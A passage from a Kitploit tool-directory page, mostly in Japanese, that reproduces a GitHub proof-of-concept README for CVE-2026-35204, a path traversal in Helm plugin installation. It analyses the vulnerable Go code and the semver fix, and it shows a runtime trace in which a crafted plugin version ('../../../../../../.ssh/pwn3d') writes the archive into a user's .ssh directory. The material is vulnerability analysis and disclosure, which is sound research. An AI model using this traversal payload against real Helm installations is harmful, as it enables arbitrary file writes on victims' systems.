Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-35204 — Helm プラグインインストールのパストラバーサル脆弱性(CVE-2026-35204)を実証する概念実証。巧妙に細工されたプラグインメタデータを介して任意のファイル書き込みを可能にします。 | Kitploit
ツール/GitHubGitHub/h3ck13r/cve-2026-35204
コンテナセキュリティ脆弱性分析エクスプロイトクラウドセキュリティサプライチェーンセキュリティ学習と教育
GitHubh3ck13r/cve-2026-35204

CVE-2026-35204

Helm プラグインインストールのパストラバーサル脆弱性(CVE-2026-35204)を実証する概念実証。巧妙に細工されたプラグインメタデータを介して任意のファイル書き込みを可能にします。

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-35204

このリポジトリはCVE-2026-35204のPoCです。

Description

「HelmはKubernetes用のチャートのパッケージマネージャです。4.0.0から4.1.3の間で、特別に細工されたHelmプラグインをインストールまたは更新すると、プラグインの内容が任意のファイルシステムの場所に書き込まれます。これを防ぐには、Helmプラグインのplugin.yamlのversion:フィールドにPOSIXドットドットパス区切り文字(すなわち"/../")が含まれていないことを確認してください。この脆弱性は4.1.4で修正されています。」

このPoCは、metadata.Versionがプラグインアーカイブのパスを構築するために使用され、パストラバーサルを可能にし、ダウンロードしたplugin.tgzを意図されたプラグインディレクトリの外に書き込むことを示しています。プラグインの内容はインストール前に指定されたキャッシュディレクトリに展開されるため、このPoCは任意の展開や任意のホストファイルの上書きを実証するものではありません。

How it works

Helmプラグインインストーラは、4つの実装(HTTP、ローカル、VCS、OCI)を持つインターフェースを持っています。このPoCはHTTPインストーラに焦点を当てています。HTTP/OCIインストーラとは異なり、VCSインストーラはmetadata.Versionからtarballパスをまったく構築しません。以下はtarballPathを準備するコードブロックです:

root@kitploit:~
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)

metadata.Versionはplugin.yamlで制御する変数です。脆弱性をトリガーするには、細工したプラグインを.tgzアーカイブにパッケージする必要があります。そのmetadata.Versionがplugin.ExtractTgzPluginMetadataによって抽出され、HTTP/OCI/ローカルインストーラを介してダウンロードされるためです。したがって、パストラバーサルを達成するために、Webサーバーから提供されるアーカイブとしてプラグインを取得するhttp_installerを使用できます。

以下の例では、helmバイナリが手動で再ビルドされてログメッセージを有効にしており、2つの異なるデータフローを観察できます。Firstは正しいバージョン名でのプラグインインストールです。Secondはバージョン名にドットドットパス区切り文字が含まれているプラグインインストールです:

root@kitploit:~
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename ->  evil-2.2.2.tgz
tarballPath ->  /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir ->  /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() ->  /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
root@kitploit:~
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename ->  evil-../../../../../../.ssh/pwn3d.tgz
tarballPath ->  /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir ->  /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() ->  /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil

ランタイムトレースは、パストラバーサルがダウンロードされたプラグインアーカイブが配置される場所のみに影響を与えることを示しています。これは基本的にHELM_PLUGINS環境変数です。キャッシュ(i.CacheDir)と最終的な展開(i.Path())は変更されません。これを念頭に置いて、一時アーカイブの出力先とその名前を操作してファイル書き込みを行うことができます。

何かを実行したり、インストール後のWebhookを使用する必要はありません。単純なプラグインインストールで脆弱性をトリガーするのに十分です。

HTTPインストーラの分析中に、アーカイブの展開はi.CacheDirに対して行われ、インストール(fs.CopyDir)はi.CacheDirからi.Path()にファイルをコピーすることを観察しました。トラバーサルの影響を受けるtarballPathがアーカイブの内容に影響を与えるコードパスは見つかりませんでした。したがって、分析されたランタイムトレースに基づくと、アーカイブの展開先はトラバーサル制御されたtarballPathとは独立しています。

アドバイザリはインストールとアップデートの両方について言及しています。HTTP/ローカル/VCSインストーラではUpdate()は実装されていません。OCIインストーラは以前のプラグインを削除した後にInstall()を呼び出すことでアップデートを実装しています。

以下はHTTPインストーラのUpdate()メソッドです:

root@kitploit:~
func (i *HTTPInstaller) Update() error {
	return fmt.Errorf("method Update() not implemented for HttpInstaller")
}

脆弱性を軽減するために、isValidSemver関数が追加され、metadata.go内のValidate()が呼び出されるときに呼び出されるようになりました。

root@kitploit:~
"github.com/Masterminds/semver/v3"

func isValidSemver(v string) bool {
	_, err := semver.NewVersion(v)
	return err == nil
}

if m.Version != "" && !isValidSemver(m.Version) {
    errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}

見ての通り、バージョンが有効なsemverでない場合(そして../../../../は有効ではありません)、悪意のあるhelmプラグインのインストールプロセスでエラーが発生します。

Requirements

  • helmバイナリがインストールされていること
  • pythonインタプリタがインストールされていること

Usage

PoCを実行するには、scripts/pos.shスクリプトを使用できます:

root@kitploit:~
./scripts/poc.sh

これにより、次のような結果が得られます:

gifs/helm-cve-2026-35204-1.png gifs/helm-cve-2026-35204-2.png

References

  • NVD - CVE-2026-35204
  • Github Advisory databse - GHSA-vmx8-mqv2-9gmg

License

MIT

ツールをダウンロード